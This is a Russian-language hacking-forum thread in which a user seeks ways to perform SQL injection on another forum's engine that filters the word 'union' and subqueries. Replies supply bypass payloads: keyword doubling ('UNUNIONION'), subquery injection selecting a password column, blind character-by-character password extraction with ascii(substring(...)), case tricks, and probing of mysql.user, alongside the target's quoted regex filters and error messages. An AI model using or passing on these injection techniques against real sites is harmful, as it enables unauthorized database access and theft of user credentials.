Просмотр полной версии : sql injection without union
смотрел я на днях движок одного форума, там из запросов вырезается слово Union =(
что-нибудь можно придумать ?
Ну это смотря как вырезается. Попробуй вот так:
SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2
а можно ошарашить движок подзапросами
например такого вида:
seclet pass from users where id=-1+and(select+pass)
или путем посиволного перебора пароля
seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<100)
ну перебор - это не то чего бы хотелось :)
вложенные запросы тоже режутся
вот так вот это происходит:
preg_match('~(^|[^a-z])union($|[^[a-z])~s',$sql)
preg_match('~\([^)]*?select~s',$sql)
естественно запрос идёт не к таблице с юзерами =(
Ну это смотря как вырезается. Попробуй вот так:
SELECT field1, field2, ...., fieldn from table1 UNUNIONION SELECT 1, 2, ...., n from table2
не, там сообщение об ошибке выводиться ...
попробуй разный регистр ;)
попробуй разный регистр ;)
там все в нижний переводиться ...
а если использовать and(mysql.pass='123')
Unknown column 'mysql.user.pass' in 'where clause'
даже еслиб работало , толку немного от этого :(
Unknown column 'mysql.user.pass' in 'where clause'
толк есть, значит подзапросы работают, а я тебе код дал для примера, а подставлять нада свои значения
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot